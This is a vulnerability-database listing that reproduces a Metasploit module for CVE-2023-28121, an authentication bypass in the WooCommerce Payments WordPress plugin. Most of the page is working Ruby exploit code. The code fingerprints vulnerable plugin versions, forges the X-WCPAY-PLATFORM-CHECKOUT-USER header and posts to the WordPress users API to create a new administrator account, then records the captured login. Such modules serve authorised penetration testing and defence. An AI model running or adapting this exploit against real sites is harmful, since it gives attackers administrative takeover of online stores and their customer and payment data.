Lucene search
+L

Wordpress Plugin WooCommerce Payments Unauthenticated Admin Creation

🗓️ 22 Mar 2023 00:00:00Reported by h00die, Michael Mazzolini, Julien AhrensType 
metasploit
 metasploit
🔗 www.rapid7.com👁 834 Views

Wordpress WooCommerce plugin auth bypass vulnerabilit

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Exploit::Remote::HTTP::Wordpress
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Wordpress Plugin WooCommerce Payments Unauthenticated Admin Creation',
        'Description' => %q{
          WooCommerce-Payments plugin for Wordpress versions 4.8', '4.8.2, 4.9', '4.9.1,
          5.0', '5.0.4, 5.1', '5.1.3, 5.2', '5.2.2, 5.3', '5.3.1, 5.4', '5.4.1,
          5.5', '5.5.2, and 5.6', '5.6.2 contain an authentication bypass by specifying a valid user ID number
          within the X-WCPAY-PLATFORM-CHECKOUT-USER header. With this authentication bypass, a user can then use the API
          to create a new user with administrative privileges on the target WordPress site IF the user ID
          selected corresponds to an administrator account.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'Michael Mazzolini', # original discovery
          'Julien Ahrens' # detailed writeup
        ],
        'References' => [
          ['URL', 'https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/'],
          ['URL', 'https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/'],
          ['CVE', '2023-28121']
        ],
        'DisclosureDate' => '2023-03-22',
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('USERNAME', [true, 'User to create', '']),
        OptString.new('PASSWORD', [false, 'Password to create, random if blank', '']),
        OptString.new('EMAIL', [false, 'Email to create, random if blank', '']),
        OptInt.new('ADMINID', [false, 'ID Number of a WordPress administrative user', 1]),
        OptString.new('TARGETURI', [true, 'The URI of the Wordpress instance', '/'])
      ]
    )
  end

  def check
    unless wordpress_and_online?
      return Msf::Exploit::CheckCode::Safe('Server not online or not detected as wordpress')
    end

    vuln_versions = [
      ['4.8', '4.8.2'],
      ['4.9', '4.9.1'],
      ['5.0', '5.0.4'],
      ['5.1', '5.1.3'],
      ['5.2', '5.2.2'],
      ['5.3', '5.3.1'],
      ['5.4', '5.4.1'],
      ['5.5', '5.5.2'],
      ['5.6', '5.6.2']
    ]

    vuln_versions.each do |versions|
      introduced = versions[0]
      fixed = versions[1]
      checkcode = check_plugin_version_from_readme('woocommerce-payments', fixed, introduced)
      if checkcode == Msf::Exploit::CheckCode::Appears
        return Msf::Exploit::CheckCode::Appears('WooCommerce-Payments version is exploitable')
      end
    end

    Msf::Exploit::CheckCode::Safe('WooCommerce-Payments version not vulnerable or plugin not installed')
  end

  def run
    password = datastore['PASSWORD']
    if datastore['PASSWORD'].blank?
      password = Rex::Text.rand_text_alphanumeric(10..15)
    end

    email = datastore['EMAIL']
    if datastore['EMAIL'].blank?
      email = Rex::Text.rand_mail_address
    end

    username = datastore['USERNAME']
    if datastore['USERNAME'].blank?
      username = Rex::Text.rand_text_alphanumeric(5..20)
    end

    print_status("Attempting to create an administrator user -> #{username}:#{password} (#{email})")
    ['/', 'index.php', '/rest'].each do |url_root| # try through both '' and 'index.php' since API can be in 2 diff places based on install/rewrites
      if url_root == '/rest'
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path),
          'headers' => { "X-WCPAY-PLATFORM-CHECKOUT-USER": datastore['ADMINID'] },
          'method' => 'POST',
          'ctype' => 'application/json',
          'vars_get' => { 'rest_route' => 'wp-json/wp/v2/users' },
          'data' => {
            'username' => username,
            'email' => email,
            'password' => password,
            'roles' => ['administrator']
          }.to_json
        })
      else
        res = send_request_cgi({
          'uri' => normalize_uri(target_uri.path, url_root, 'wp-json', 'wp', 'v2', 'users'),
          'headers' => { "X-WCPAY-PLATFORM-CHECKOUT-USER": datastore['ADMINID'] },
          'method' => 'POST',
          'ctype' => 'application/json',
          'data' => {
            'username' => username,
            'email' => email,
            'password' => password,
            'roles' => ['administrator']
          }.to_json
        })
      end
      fail_with(Failure::Unreachable, 'Connection failed') unless res
      next if res.code == 404

      if res.code == 201 && res.body&.match(/"email":"#{email}"/) && res.body.match(/"username":"#{username}"/)
        print_good('User was created successfully')
        if framework.db.active
          create_credential_and_login({
            address: rhost,
            port: rport,
            protocol: 'tcp',
            workspace_id: myworkspace_id,
            origin_type: :service,
            service_name: 'WordPress',
            username: username,
            private_type: :password,
            private_data: password,
            module_fullname: fullname,
            access_level: 'administrator',
            last_attempted_at: DateTime.now,
            status: Metasploit::Model::Login::Status::SUCCESSFUL
          })
        end
      else
        print_error("Server response: #{res.body}")
      end
      break # we didn't get a 404 so we can bail on the 2nd attempt
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Mar 2023 00:00Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
EPSS0.8651
834